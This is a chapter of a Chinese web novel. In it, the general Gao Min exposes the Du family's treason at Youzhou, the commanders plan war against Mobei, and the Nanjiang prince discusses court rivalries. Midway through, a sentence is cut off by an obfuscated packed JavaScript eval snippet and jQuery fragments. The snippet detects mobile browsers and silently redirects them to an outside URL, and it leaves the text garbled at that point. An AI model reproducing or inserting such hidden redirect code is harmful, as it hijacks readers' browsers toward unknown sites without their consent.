卫安晏来时,高奇私下向他诉苦:行军打仗,粮草先行,杜总管仗着杜家把控军需,在幽州军里横行霸道,一遇到苦战,倚老卖老不肯出兵。
杜总管偏偏威胁高奇,他要战功,不然嘛……高奇安排他跟在银甲军身后捡人头,那是最轻松不过的差事。
杜总管老不死的,不做好事,给吕总管指错路,故意拖延战事,让银甲军陷入苦战。
银甲军一开始跟着幽州军一起吃喝,战马的粮草和损耗也由幽州军承担,杜家找理由,偏不给,气得赵辰荣将军回幽州去了。
除去杜家做事不厚道,杜总管的私生子杜康,曾与桑指挥使起争执,萧监军查出杜康手上的人命,按军法处置杜康。杜总管怀恨在心,便时不时给银甲军使绊子。桑指挥使、萧监军明着不吭声,就等赵辰荣将军呢。
卫安晏也同高奇道:“高将军且等着吧,待赵将军从幽州回来,杜总管会得到他应有的下场。”
……
昨天夜里,高奇去找桑澜,怕她年轻气盛,忍不住打杀了杜总管。
桑澜却给他看了赵辰荣将军的回信。
故而有了今日这么一出戏。
高奇嘴上斥责桑澜过分,心里痛快至极,他望着赵辰荣将军身边的女子,爽朗一笑。
赵辰荣将军念着圣旨:“杜家目无国法,中饱私囊,暗中勾结外敌,行叛国通敌之事,罪大恶极!即刻将杜家满门老小,尽数押解至京师,交刑部严审,听候发落。主将高奇办事不力……”
杜总管听不清后面的旨意,当即呕出一口老血,吐出几颗带血的牙。
卫安晏朝赵将军身侧女子拱手道:“高将军。”
那人正是幽州新任主帅高旻。
高旻回礼,再看向自家弟弟高奇,圣人先前任他为主帅是有意为之,故意派个毛头小子,让幽州世家放松警惕,目的达到,他也能松一口气:“高奇,辛苦了。”
高奇如释重负,他笑着唤了一声:“大姐。”
高旻大步走来,揽住桑澜肩膀,大笑道:“小澜,我在家常听母亲提起你,今日一见,果然是个好苗子。难怪大理寺卿唐大人、京兆府尹陆大人都想留你。”她环视一圈的人,“如今倒是便宜我了,有此良将,再有卫将军相助,何愁不能踏平漠北!”
高旻将军的母亲高荣,曾是定安长公主的亲兵,现任金吾卫大将军。程将军手上的燕州三万精兵,如今被高荣将军接管。
众人分析高将军话里的意思,除去高家看重桑澜,还有大理寺卿唐大人、京兆府尹陆大人也看好桑澜。
大理寺卿唐大人一直跟随萧家打天下,办案的本事极高,民间称其为青天大人,任何阴谋诡计,在其眼前无处遁行。
陆大人出自陆家,才学堪比当今苏相,从小县令一路升至京兆府尹,每每升迁,治下百姓沿途拜别,可见其深得民心。
桑指挥使今日暴打杜总管,或许会落得一句心狠手辣、锱铢必较的差名声。
但高旻将军初见桑指挥使,夸她少年英才,又搬出京城三位重臣作陪。
桑指挥使暴打同袍之事,便成为一桩美谈,反倒要夸她惩歼除恶、替天行道!
光看一旁笑得欢实的吕总管,这斯带兵跟着银甲军,没少蹭军功。
平日里处处与桑指挥使扳手腕的卫将军都为其美言,说让桑指挥使从来不会当众打杀无辜之人。
心里最后那么一丁点不满与蔑视,消失无踪。
众总管、营主打定主意,要与桑澜交好。
……
屏退众人,主帐里坐着高旻、高奇、卫安晏,桑澜,赵辰荣,萧北辰。
卫安晏最先开口:“桑指挥使还没说,你从北朝俘虏那里,问出什么有用的消息?”
“卫将军先等等。”桑澜看向赵辰荣,“小姨,杜家通敌通的哪国?圣人又是什么打算?”
“杜家勾结漠北。”赵辰荣回望她,一身齐全,没缺胳膊少腿,心落回肚子里,“杜家是出来顶锅的弃子,真正的大鱼还没上钩。”
萧北辰递给桑澜一块干净的手帕,示意她擦一擦手上的血迹。
桑澜随意地擦了擦:“众所周知,北国的寒潮极为严重,除去北凉,剩余两国的日子并不好过。北朝王病重不起,雅伦王子被推选出来,主持政事。北朝缺粮,漠北肯借,但漠北要北朝率先出兵南下,这是北朝人的说法。”
她回想起追击雅伦王子的情形,瞧着人模狗样:“雅伦王子此人心机颇深,目前为止,大夏剿灭、俘虏的北朝军,几乎都是与他唱过反调的部族。
在与漠北结盟之前,他声称派使臣前往北凉求援,北凉拒绝了。但我们收到北凉来信,北凉压根没见过北朝使者,派去支援北朝的粮队,至今杳无音讯。
北凉与大夏是盟友,断不可能在此事上有所隐瞒。至于起兵攻打大夏,是漠北王的算计,还是雅伦王子与他的合谋,便不得而知了。”
卫安晏眼底闪过一抹诧异,小澜何时给北凉写了信?且北凉回信如此之快?
他望着桑澜的琥珀眼眸,母亲说,定安长公主身旁常跟着一位带着面具的北凉乐师,他也有一双琥珀眼。
小澜的生父是北凉人?按下好奇的心思,他看向赵将军:“漠北亦受到寒潮影响,漠北王子和真拿出了一笔钱财,助漠北渡过艰难的冬日,从而继承王位。赵将军,敢问杜家通敌,泄露军机,还是?”
他意有所指。
“杜家将粮草贱卖给漠北,几乎可说是白送给漠北,其数目之多。”赵辰荣的回答,坐实他的猜测,她朝门口唤了一声,“大华,进来。”
桑澜起身去迎,见到大华风尘仆仆地走进来,难以掩饰心头的激动,上前抱住他:“大华。”
大华笑着点头,冲赵辰荣比划手势。
赵辰荣道:“他很想你和赵五。”
眼眶不由自主地泛红,桑澜拉着大华坐下,又看赵辰荣:“小姨,谢谢。”
简短叙旧,大华从怀里拿出一本账册,放到桌上,起身退了出去。
“杜家之案,大华和谢木兰占七成功劳,应是我谢你,你教出来的徒弟有本事。我与大华先回来了,木兰还留在幽州处理剩下的烂摊子。”赵辰荣说,“我们先谈正事,漠北与幽州的买卖,数目和参与的人都在册子上,但火药和武器。”她撇了眼卫安晏,“凉州在查。”
卫安晏当即明了,西山产出铁矿与火药,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517915|156631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
其中消失的那部分,由逆党带着北上,过凉州入漠北了。
高旻评价道:“千防万防,家贼难防,逆党如野草,斩不干净,那就把地皮给掀咯,看他们还能不能长出来。”
赵辰荣道:“高将军先看一看账簿吧,上头参与的世家,都可能成为后续的隐患。借着杜家之事,先将军中要紧的差事,换成我们的人。”
高奇不解:“他们给漠北送钱粮武器,漠北推着北朝出来送死?”
“漠北压根没有真想进犯大夏。”卫安晏拿起一根长棍,指着舆图,“安泰来信,他们没有见到漠北军,木城之战后,我估摸着,漠北王与北朝王子早就打道回府了,此地尽是他们弃子。”
高奇笑了:“打道回府?死这么多人,漠北和北朝图什么呢?总不能是图个乐子吧。”
众人亦不明所以。
帐外响起一道急促的声音。
“高将军,京城急报。”
高旻:“进来。”
信使先递给她一封信,又抽出一封信,双手捧着递给萧北辰:“世子,这是昭和公主给您的信。”
高旻拆开:“碧苍起兵,圣人命我们安定军心,不必忧虑后方,直捣漠北老巢。”
萧北辰看过昭和公主来信,阴着脸。
桑澜凑过去瞄了一眼,冷哼一声:“早晚,砍他们的头,抄他们的家!”
逆党之流妄图用战事拿捏皇室,乃至整个大夏,何其荒谬!
卫安晏当即表明立场:“青州愿战!”
高奇摸不着头脑,高旻附议卫安晏:“幽州愿战!”
当夜,主帐通亮,油灯灭了又添。
……
南疆王府。
南疆王坐在树下,煮起花茶,夹住一朵干花,放进沸腾的茶水中:“真有本事。”
十一洞主站在她身后,替她揉-捏双肩:“无妨,洛儿能处理好此事。幽州距南疆数千里,你该担心小澜,三千精锐能防明枪,难抵暗箭。”
“三千精锐,远不及麒麟卫。事态危机,小澜会动用麒麟卫作战。不过,提起小澜。”南疆王回头瞧他,想起一桩陈年趣事,笑着说,“星洛告诉小澜,她们俩是双生子,让小澜叫你爹,大姐夫气得脸都绿了。”
一片枯叶从枝头飘落,落到茶盘旁,从前在树下欢声笑语的人,或离开,或不在人世,物是人非。
纵是在盛夏,望着满院繁花似锦,十一洞主心里难免伤感。
他遗憾道:“唉,他们都不在了,如果大姐与大姐夫还在世,也轮不到我们照顾小澜。”
“北凉王是小澜的亲姑姑,她不会眼看着小澜陷入危险。”南疆王没有洞主那般伤春悲秋,而是分析南疆战事缘由,“碧苍国曾与董家联姻,如今的碧苍王,身上是否流着董家的血?”
十一洞主:“并非没有可能。”
南疆王:“五哥与五嫂少年夫妻,走到今日,形同陌路,彤彤夹在中间左右为难,独自在皇宫外长大。”
十一洞主:“依我之见,被夹在中间为难的是皇后,董夫人与她是亲姐妹。”
南疆王:“我早跟五哥说过,五嫂千好万好,唯独对董夫人言听计从,早晚出大事。”